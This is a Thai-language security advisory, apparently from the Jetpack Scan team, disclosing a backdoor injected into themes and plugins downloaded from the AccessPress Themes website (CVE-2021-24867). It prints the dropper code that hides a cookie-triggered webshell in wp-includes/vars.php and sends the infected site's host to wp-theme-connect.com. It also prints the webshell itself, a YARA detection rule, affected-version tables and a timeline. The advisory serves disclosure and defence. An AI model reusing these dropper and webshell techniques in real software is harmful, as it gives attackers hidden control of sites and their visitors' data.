Backdoor พบในธีมและปลั๊กอินจาก AccessPress Themes
เผยแพร่แล้ว: 2022-01-19อัปเดต 1 กุมภาพันธ์ – เปลี่ยนส่วน "ธีมที่ได้รับผลกระทบ" เพื่อแสดงว่าเวอร์ชันใหม่ของธีมกำลังเริ่มปรากฏขึ้น
ขณะตรวจสอบไซต์ที่ถูกบุกรุก เราพบโค้ดที่น่าสงสัยในธีมโดย AccessPress Themes (aka Access Keys) ซึ่งเป็นผู้จำหน่ายที่มีธีมและปลั๊กอินยอดนิยมจำนวนมาก ในการตรวจสอบเพิ่มเติม เราพบว่าธีมทั้งหมดและปลั๊กอินส่วนใหญ่จากผู้จำหน่ายมีรหัสที่น่าสงสัยนี้ แต่ถ้าดาวน์โหลดจากเว็บไซต์ของพวกเขาเองเท่านั้น ส่วนขยายเดียวกันนั้นใช้ได้หากดาวน์โหลดหรือติดตั้งโดยตรงจากไดเร็กทอรี WordPress.org
เนื่องจากส่วนขยายถูกบุกรุก เราจึงสงสัยว่าผู้โจมตีภายนอกได้ละเมิดเว็บไซต์ของ AccessPress Themes เพื่อพยายามใช้ส่วนขยายเพื่อแพร่ระบาดในไซต์เพิ่มเติม
เราติดต่อผู้ขายทันที แต่ในตอนแรกเราไม่ได้รับการตอบกลับ หลังจากส่งต่อไปยังทีมปลั๊กอิน WordPress.org ความสงสัยของเราได้รับการยืนยันแล้ว เว็บไซต์ AccessPress Themes ถูกละเมิดในช่วงครึ่งแรกของเดือนกันยายน 2021 และส่วนขยายที่มีให้ดาวน์โหลดบนเว็บไซต์ของพวกเขาถูกฉีดด้วยแบ็คดอร์
เมื่อเราสร้างช่องทางในการสื่อสารกับผู้ขายแล้ว เราก็ได้แชร์ผลการค้นพบโดยละเอียดกับพวกเขา พวกเขาลบส่วนขยายที่ละเมิดออกจากเว็บไซต์ของตนทันที
ปลั๊กอินส่วนใหญ่ได้รับการอัปเดตแล้ว และเวอร์ชันที่สะอาดที่รู้จักจะแสดงอยู่ที่ด้านล่างของโพสต์นี้ อย่างไรก็ตาม ธีมที่ได้รับผลกระทบยังไม่ได้รับการอัปเดต และถูกดึงออกจากที่เก็บธีม WordPress.org หากคุณมีธีมใดๆ ที่แสดงไว้ที่ด้านล่างของโพสต์นี้ที่ติดตั้งในไซต์ของคุณ เราขอแนะนำให้ย้ายไปยังธีมใหม่โดยเร็วที่สุด
การเปิดเผยนี้เกี่ยวข้องกับส่วนขยายจำนวนมาก ทั้งปลั๊กอินและธีม ข้ามไปที่รายการด้านล่างหรืออ่านเพื่อดูรายละเอียด
รายละเอียด:
ผู้จำหน่าย: AccessPress Themes
url ของผู้จำหน่าย: https://accesspressthemes.com
ปลั๊กอิน: หลายรายการ
กระทู้: หลาย
CVE: CVE-2021-24867
การวิเคราะห์:
ส่วนขยายที่ติดไวรัสมีหยดสำหรับเว็บเชลล์ที่ช่วยให้ผู้โจมตีสามารถเข้าถึงไซต์ที่ติดไวรัสได้อย่างเต็มที่ ดรอปเปอร์อยู่ในไฟล์ inital.php
ซึ่งอยู่ในไดเร็กทอรีปลั๊กอินหรือธีมหลัก เมื่อรันจะติดตั้ง webshell ที่ใช้คุกกี้ใน wp-includes/vars.php
เชลล์ได้รับการติดตั้งเป็นฟังก์ชันหน้า wp_is_mobile()
โดยใช้ชื่อ wp_is_mobile_fix()
นี่น่าจะไม่ก่อให้เกิดความสงสัยให้ใครก็ตามเลื่อนดูไฟล์ vars.php
โดยไม่ตั้งใจ
function makeInit() {
$b64 = 'ba' . 'se64' . '_dec' . 'ode';
$b = 'ZnVuY3Rpb2........TsKCg==';
$f = $_SERVER['DOCUMENT_ROOT'] . '/wp-includes/vars.php';
if(file_exists($f)) {
$fp = 0777 & @fileperms($f);
$ft = @filemtime($f);
$fc = @file_get_contents($f);
if(strpos($fc, 'wp_is_mobile_fix') === false) {
$fc = str_replace('function wp_is_mobile()',
$b64($b) . 'function wp_is_mobile()',
$fc);
@file_put_contents($f, $fc);
@touch($f, $ft);
@chmod($f, $fp);
}
return true;
}
return false;
}
เมื่อติดตั้งเชลล์แล้ว ดรอปเปอร์จะโทรศัพท์กลับบ้านโดยโหลดรูปภาพระยะไกลจาก URL hxxps://www.wp-theme-connect.com/images/wp-theme.jpg
พร้อม URL ของไซต์ที่ติดไวรัสและข้อมูลเกี่ยวกับ ธีมใดที่ใช้เป็นอาร์กิวเมนต์ของคิวรี สุดท้าย มันจะลบไฟล์ต้นทางของ dropper เพื่อหลีกเลี่ยงการตรวจจับเมื่อคำขอดำเนินการเสร็จสิ้น
function finishInit() {
unlink(__FILE__);
}
add_action( 'admin_notices', 'wp_notice_plug', 20 );
if ( !function_exists( 'wp_notice_plug' ) ) {
function wp_notice_plug() {
echo '<img style="display: none;" src="https://www.wp-theme-connect.com/images/wp-theme.jpg?ph=' . $_SERVER["HTTP_HOST"] . '&phn=accesspress-anonymous-post">';
}
}
register_shutdown_function('finishInit');
เว็บเชลล์เองจะทริกเกอร์หากสตริงตัวแทนผู้ใช้ในคำขอคือ wp_is_mobile
และคำขอมีคุกกี้เฉพาะแปดตัว มันรวมเข้าด้วยกันและดำเนินการเพย์โหลดจากคุกกี้ที่ให้มาเหล่านี้
$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');
$g = $_COOKIE;
(count($g) == 8 && $is_wp_mobile) ?
(($qr = $g[33].$g[32]) && ($iv = $qr($g[78].$g[18])) &&
($_iv = $qr($g[12].$g[17])) && ($_iv = @$iv($g[10], $_iv($qr($g[53])))) &&
@$_iv()) : $g;
นอกจากนี้เรายังได้เห็น backdoor อื่นที่น่าจะเก่ากว่าอีกแบบหนึ่งซึ่งฝังอยู่ในไฟล์ functions.php
ของธีม/ปลั๊กอินโดยตรง ตัวแปรนี้ใช้กลไกเดียวกันกับการรวบรวมเพย์โหลดจากคุกกี้แปดตัว แต่ไม่ได้กรองสตริงตัวแทนผู้ใช้ของคำขอ
เพื่อให้แน่ใจว่าดรอปเปอร์ทำงาน ไฟล์ปลั๊กอินหลัก (สำหรับปลั๊กอิน) หรือไฟล์ functions.php
(สำหรับธีม) ได้รับการแก้ไขด้วยโค้ดเพื่อรันไฟล์ inital.php
หากมี
if(is_admin()) {
add_action( "init", 'apap_plugin_check' );
}
function apap_plugin_check(){
if(file_exists(__DIR__ . "/inital.php")){
include(__DIR__ . "/inital.php");
}
}
รายละเอียดที่โดดเด่นอย่างหนึ่งจากการประทับเวลาของปลั๊กอินที่ถูกบุกรุกคือทุกรายละเอียดตั้งแต่ต้นเดือนกันยายน ส่วนใหญ่มาจากวันที่ 6 และ 7 กันยายน โดยมีไฟล์บางส่วนจากวันที่ 2 และ 3 กันยายน ในทำนองเดียวกันสำหรับธีม ทั้งหมดถูกบุกรุกในวันที่ 22 กันยายน ยกเว้น accessbuddy
ในวันที่ 9 กันยายน
นอกจากนี้ การประทับเวลาภายในไฟล์ zip นั้นมีความสม่ำเสมอมาก โดยเกือบทุกไฟล์ที่มีการประทับเวลาเหมือนกันทุกประการ ยกเว้นไฟล์ปลั๊กอินหลักที่แก้ไขและไฟล์ดรอปเปอร์ที่เพิ่มเข้ามาซึ่งจะถูกประทับตราในไม่กี่นาทีต่อมา (โดยปกติประมาณ 2-5 นาทีหลังจากนั้น ไฟล์อื่นๆ ในไฟล์เก็บถาวร)
เมื่อดูการประทับเวลาของไฟล์ zip ที่ดาวน์โหลดจากที่เก็บ wordpress.org
เราพบว่ามีการกระจายการประทับเวลาที่สอดคล้องกับเวลาที่ปลั๊กอิน/ธีมได้รับการอัปเดตจริง นอกจากนี้ การกระจายการประทับเวลาภายในไฟล์เก็บถาวรจะมีความสม่ำเสมอน้อยลงและสะท้อนให้เห็นว่าไฟล์ใดได้รับการอัปเดตในการเผยแพร่ และไฟล์ใดไม่เปลี่ยนแปลงจากรีลีสที่เก่ากว่า
สิ่งนี้แนะนำเราว่าไฟล์จากเว็บไซต์ของ AccessPress Themes ได้รับการแก้ไขโดยเจตนา และเป็นการดำเนินการที่ประสานกันหลังจากที่เผยแพร่ครั้งแรก ดูเหมือนว่าการประนีประนอมจะดำเนินการในสองขั้นตอน ขั้นแรกสำหรับปลั๊กอินและอีกขั้นสำหรับธีม แต่ละคนมีความพยายามก่อนหน้านี้บางทีอาจปรับกระบวนการให้ละเอียด
การตรวจสอบของเราได้พิจารณาเฉพาะธีมและปลั๊กอินที่มีให้จากเว็บไซต์ของ AccessPress Themes เท่านั้น เราถือว่าธีมโปรที่จ่ายเงินได้รับผลกระทบในทำนองเดียวกัน แต่เราไม่ได้ตรวจสอบสิ่งเหล่านี้ หากคุณมีสิ่งเหล่านี้ โปรดติดต่อฝ่ายสนับสนุนของ AccessPress Themes เพื่อขอคำแนะนำเพิ่มเติม
ธีมที่ได้รับผลกระทบ
หากคุณมีธีมใดๆ ต่อไปนี้ซึ่งมีหมายเลขเวอร์ชันในคอลัมน์ Bad ติดตั้งอยู่ในไซต์ของคุณ เราขอแนะนำให้คุณอัปเกรดเป็นเวอร์ชันในคอลัมน์ Clean ทันที เป็นที่น่าสังเกตว่าธีมที่ติดตั้งผ่าน WordPress.org นั้นสะอาด แม้ว่าจะอยู่ในคอลัมน์ที่ ไม่ดี ก็ตาม เรายังคงแนะนำให้อัปเกรดเป็นเวอร์ชันสะอาดที่รู้จักเพื่อความปลอดภัย
ธีมที่ไม่มีหมายเลขเวอร์ชันในคอลัมน์ Clean ยังไม่ได้อัปเกรด และเราแนะนำให้แทนที่ด้วยธีมอื่นหากเป็นไปได้
ทากธีม | แย่ | ทำความสะอาด |
---|---|---|
accessbuddy | 1.0.0 | |
accesspress-พื้นฐาน | 3.2.1 | 3.2.2 |
accesspress-lite | 2.92 | 2.93 |
accesspress-mag | 2.6.5 | 2.6.6 |
accesspress-parallax | 4.5 | 4.6 |
accesspress-ray | 1.19.5 | |
accesspress-root | 2.5 | 2.6.0 |
accesspress-staple | 1.9.1 | |
accesspress-store | 2.4.9 | 2.5.0 |
หน่วยงาน-lite | 1.1.6 | 1.1.7 |
เหมาะสม | 1.0.6 | |
bingle | 1.0.4 | 1.0.5 |
บล็อกเกอร์ | 1.2.6 | 1.2.7 |
ก่อสร้าง-lite | 1.2.5 | 1.2.6 |
โดโก | 1.0.27 | 1.1.0 |
ตรัสรู้ | 1.3.5 | 1.3.6 |
ร้านแฟชสโตร์ | 1.2.1 | |
การถ่ายภาพ | 2.4.0 | 2.4.1 |
กาก้าคอร์ป | 1.0.8 | |
gaga-lite | 1.4.2 | |
หนึ่งpaze | 2.2.8 | |
Parallax-บล็อก | 3.1.1574941215 | |
Parallaxsome | 1.3.6 | 1.3.7 |
punte | 1.1.2 | 1.1.3 |
หมุน | 1.3.1 | |
ระลอกคลื่น | 1.2.0 | 1.2.1 |
scrollme | 2.1.0 | |
sportsmag | 1.2.1 | |
storevilla | 1.4.1 | 1.4.2 |
swing-lite | 1.1.9 | 1.2.0 |
ตัวเปิด | 1.3.2 | 1.3.3 |
วันจันทร์ | 1.4.1 | |
uncode-lite | 1.3.1 | |
ยูนิคอน-ไลต์ | 1.2.6 | 1.2.7 |
vmag | 1.2.7 | 1.2.8 |
vmagazine-lite | 1.3.5 | 1.3.7 |
vmagazine-news | 1.0.5 | 1.0.6 |
ซิกซี่เบบี้ | 1.0.6 | 1.0.7 |
zigcy-cosmetics | 1.0.5 | 1.0.6 |
ซิกซี่ไลต์ | 2.0.9 | 2.1.0 |
ปลั๊กอินที่ได้รับผลกระทบ
หากคุณมีปลั๊กอินต่อไปนี้ซึ่งมีหมายเลขเวอร์ชันในคอลัมน์ Bad ติดตั้งอยู่ในไซต์ของคุณ เราขอแนะนำให้อัปเกรดเป็นเวอร์ชันในคอลัมน์ Clean ทันที เป็นที่น่าสังเกตว่าปลั๊กอินที่ติดตั้งผ่าน WordPress.org นั้นสะอาด แม้ว่าจะอยู่ในคอลัมน์ที่ ไม่ดี ก็ตาม เรายังคงแนะนำให้อัปเกรดเป็นเวอร์ชันสะอาดที่รู้จักเพื่อความปลอดภัย

ปลั๊กอินที่ไม่มีหมายเลขเวอร์ชันในคอลัมน์ Clean ยังไม่ได้อัปเกรด และเราแนะนำให้แทนที่ด้วยปลั๊กอินอื่นๆ หากเป็นไปได้
บุ้งปลั๊กอิน | แย่ | ทำความสะอาด | บันทึก |
---|---|---|---|
accesspress-anonymous-post | 2.8.0 | 2.8.1 | 1 |
accesspress-custom-css | 2.0.1 | 2.0.2 | |
accesspress-custom-post-type | 1.0.8 | 1.0.9 | |
accesspress-facebook-auto-post | 2.1.3 | 2.1.4 | |
accesspress-instagram-feed | 4.0.3 | 4.0.4 | |
accesspress-pinterest | 3.3.3 | 3.3.4 | |
accesspress-social-counter | 1.9.1 | 1.9.2 | |
accesspress-social-icons | 1.8.2 | 1.8.3 | |
accesspress-social-login-lite | 3.4.7 | 3.4.8 | |
accesspress-social-share | 4.5.5 | 4.5.6 | |
accesspress-twitter-auto-post | 1.4.5 | 1.4.6 | |
accesspress-twitter-feed | 1.6.7 | 1.6.8 | |
ak-menu-icons-lite | 1.0.9 | ||
แอพคู่หู | 1.0.7 | 2 | |
ap-contact-form | 1.0.6 | 1.0.7 | |
ap-custom-testimonial | 1.4.6 | 1.4.7 | |
ap-mega-menu | 3.0.5 | 3.0.6 | |
ap-pricing-tables-lite | 1.1.2 | 1.1.3 | |
apex-notification-bar-lite | 2.0.4 | 2.0.5 | |
cf7-store-to-db-lite | 1.0.9 | 1.1.0 | |
ความคิดเห็นปิดการใช้งาน accesspress | 1.0.7 | 1.0.8 | |
cta-cta . แบบง่าย | 1.0.7 | 1.0.8 | |
everest-admin-theme-lite | 1.0.7 | 1.0.8 | |
everest-coming-soon-lite | 1.1.0 | 1.1.1 | |
everest-comment-rated-lite | 2.0.4 | 2.0.5 | |
everest-counter-lite | 2.0.7 | 2.0.8 | |
everest-faq-manager-lite | 1.0.8 | 1.0.9 | |
everest-gallery-lite | 1.0.8 | 1.0.9 | |
everest-google-places-reviews-lite | 1.0.9 | 2.0.0 | |
everest-review-lite | 1.0.7 | ||
everest-tab-lite | 2.0.3 | 2.0.4 | |
everest-timeline-lite | 1.1.1 | 1.1.2 | |
inline-call-to-action-builder-lite | 1.1.0 | 1.1.1 | |
product-slider-for-woocommerce-lite | 1.1.5 | 1.1.6 | |
smart-logo-showcase-lite | 1.1.7 | 1.1.8 | |
smart-scroll-posts | 2.0.8 | 2.0.9 | |
smart-scroll-to-top-lite | 1.0.3 | 1.0.4 | |
Total-gdpr-compliance-lite | 1.0.4 | ||
Total-team-lite | 1.1.1 | 1.1.2 | |
ultimate-author-box-lite | 1.1.2 | 1.1.3 | |
ultimate-form-builder-lite | 1.5.0 | 1.5.1 | |
woo-badge-designer-lite | 1.1.0 | 1.1.1 | |
wp-1-ตัวเลื่อน | 1.2.9 | 1.3.0 | |
wp-blog-manager-lite | 1.1.0 | 1.1.2 | |
wp-comment-designer-lite | 2.0.3 | 2.0.4 | |
wp-cookie-user-info | 1.0.7 | 1.0.8 | |
wp-facebook-review-showcase-lite | 1.0.9 | ||
wp-fb-messenger-button-lite | 2.0.7 | ||
wp-floating-menu | 1.4.4 | 1.4.5 | |
wp-media-manager-lite | 1.1.2 | 1.1.3 | |
wp-ป๊อปอัพแบนเนอร์ | 1.2.3 | 1.2.4 | |
wp-popup-lite | 1.0.8 | ||
wp-product-gallery-lite | 1.1.1 |
หมายเหตุ:
- ปลั๊กอินนี้ยังไม่ได้รับการอัปเดต แต่เชื่อว่าสะอาดเนื่องจากเวอร์ชันบนเว็บไซต์ AccessPress Themes เป็นเวอร์ชันที่เก่ากว่า
- ปลั๊กอินนี้ไม่ได้รับการอัปเดต แต่เชื่อว่าสะอาด เนื่องจากไม่มีอยู่ในเว็บไซต์ AccessPress Themes ตั้งแต่แรก
ไอโอซี
กฎ YARA ต่อไปนี้สามารถใช้เพื่อตรวจสอบว่าไซต์นั้นติดไวรัสหรือไม่ มันจะตรวจจับทั้งส่วนหยดของการติดเชื้อและ webshell ที่ติดตั้งไว้
rule accesspress_backdoor_infection
{
strings:
// IoC's for the dropper
$inject0 = "$fc = str_replace('function wp_is_mobile()',"
$inject1 = "$b64($b) . 'function wp_is_mobile()',"
$inject2 = "$fc);"
$inject3 = "@file_put_contents($f, $fc);"
// IoC's for the dumped payload
$payload0 = "function wp_is_mobile_fix()"
$payload1 = "$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');"
$payload2 = "$g = $_COOKIE;"
$payload3 = "(count($g) == 8 && $is_wp_mobile) ?"
$url0 = /https?:\/\/(www\.)?wp\-theme\-connect\.com(\/images\/wp\-theme\.jpg)?/
condition:
all of ( $inject* )
or all of ( $payload* )
or $url0
}
คำแนะนำ
หากคุณมีธีมหรือปลั๊กอินติดตั้งโดยตรงจาก AccessPress Themes หรือที่อื่นๆ ยกเว้น WordPress.org คุณควรอัปเกรดเป็นเวอร์ชันที่ปลอดภัยทันทีตามที่ระบุไว้ในตารางด้านบน หากไม่มีเวอร์ชันที่ปลอดภัย ให้แทนที่ด้วยเวอร์ชันล่าสุดจาก WordPress.org
โปรดทราบว่าการดำเนินการนี้ไม่ได้ลบแบ็คดอร์ออกจากระบบของคุณ ดังนั้นนอกจากนี้ คุณต้องติดตั้ง WordPress เวอร์ชันใหม่ทั้งหมดเพื่อคืนค่าการแก้ไขไฟล์หลักที่ทำระหว่างการติดตั้งแบ็คดอร์
หากคุณมีธีมหรือปลั๊กอินที่ต้องชำระเงินจาก AccessPress Themes/Access Keys เราแนะนำให้ติดต่อฝ่ายสนับสนุนเพื่อขอความช่วยเหลือ
เราขอแนะนำให้คุณมีแผนความปลอดภัยสำหรับไซต์ของคุณที่มีการสแกนไฟล์ที่เป็นอันตรายและการสำรองข้อมูล Jetpack Security เป็นหนึ่งในตัวเลือกการรักษาความปลอดภัย WordPress ที่ยอดเยี่ยมเพื่อให้แน่ใจว่าไซต์และผู้เยี่ยมชมของคุณปลอดภัย Jetpack Scan ตรวจพบประตูหลังและดรอปเปอร์ทุกรุ่นตั้งแต่วันที่ 30 กันยายน
เส้นเวลา
2021-09-22: ทีม Jetpack Scan ค้นพบดรอปเปอร์และประตูหลังในธีม FotoGraphy และพยายามติดต่อผู้ขายเกี่ยวกับการค้นหาเบื้องต้น
2021-09-27: ยืนยันการมีอยู่ของ dropper + back door ในปลั๊กอินและธีมฟรีทั้งหมดในปัจจุบันที่ดาวน์โหลดจากเว็บไซต์ของผู้ขาย
2021-09-28: ยืนยันว่า ไม่มี dropper + back door ในการดาวน์โหลดจาก wordpress.org
2021-09-29: กำลังพยายามติดต่อผู้ขายอีกครั้งพร้อมอัปเดตการค้นพบใหม่
2021-10-14: ส่งต่อไปยังทีมปลั๊กอิน WordPress เพื่อพยายามติดต่อกับผู้ขาย
2021-10-15: ส่วนขยายที่ถูกบุกรุกจะถูกลบออกจากไซต์ของผู้ขาย
2021-10-16: การตอบกลับจากผู้ขาย
2022-01-17: ปลั๊กอินส่วนใหญ่ได้รับการอัปเกรดเป็นเวอร์ชันใหม่ ธีมถูกดึงออกจาก WordPress.org
2022-01-18 เปิดเผยต่อสาธารณะ